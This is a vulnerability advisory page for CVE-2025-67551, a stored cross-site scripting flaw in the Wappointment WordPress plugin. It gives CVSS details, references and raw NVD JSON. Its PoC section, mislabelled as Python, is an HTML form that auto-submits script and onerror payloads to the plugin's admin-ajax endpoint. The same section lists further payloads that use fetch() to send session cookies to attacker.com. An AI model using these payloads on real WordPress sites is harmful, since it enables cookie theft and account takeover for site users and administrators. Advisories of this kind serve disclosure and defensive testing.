CVE-2025-67551

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Wappointment team Wappointment wappointment allows Stored XSS.This issue affects Wappointment: from n/a through <= 2.6.9.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Wappointment <= 2.6.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html> <head> <title>CVE-2025-67551 PoC</title> </head> <body> <h2>CVE-2025-67551 Stored XSS PoC</h2> <p>Target: WordPress site with Wappointment plugin <= 2.6.9</p> <form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="xss-poc"> <input type="hidden" name="action" value="wappointment_save_appointment"> <input type="hidden" name="client_name" value='"><script>alert("XSS")</script><x y='> <input type="hidden" name="client_email" value="[email protected]"> <input type="hidden" name="appointment_date" value="2025-01-01"> <input type="hidden" name="notes" value='<img src=x onerror=alert(document.cookie)>'> <button type="submit">Submit PoC</button> </form> <script> // Auto-submit form for demonstration document.getElementById('xss-poc').submit(); // Alternative XSS payloads: const payloads = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">', '<svg onload="alert(document.domain)">', 'javascript:eval(atob("YWxlcnQoJ1hTUycp"))' ]; </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67551
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67551
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67551/
[4] VulDB https://vuldb.com/cve/CVE-2025-67551
[5] https://patchstack.com/database/Wordpress/Plugin/wappointment/vulnerability/wordpress-wappointment-plugin-2-6-9-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67551", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:31.117", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Wappointment team Wappointment wappointment allows Stored XSS.This issue affects Wappointment: from n/a through <= 2.6.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wappointment/vulnerability/wordpress-wappointment-plugin-2-6-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}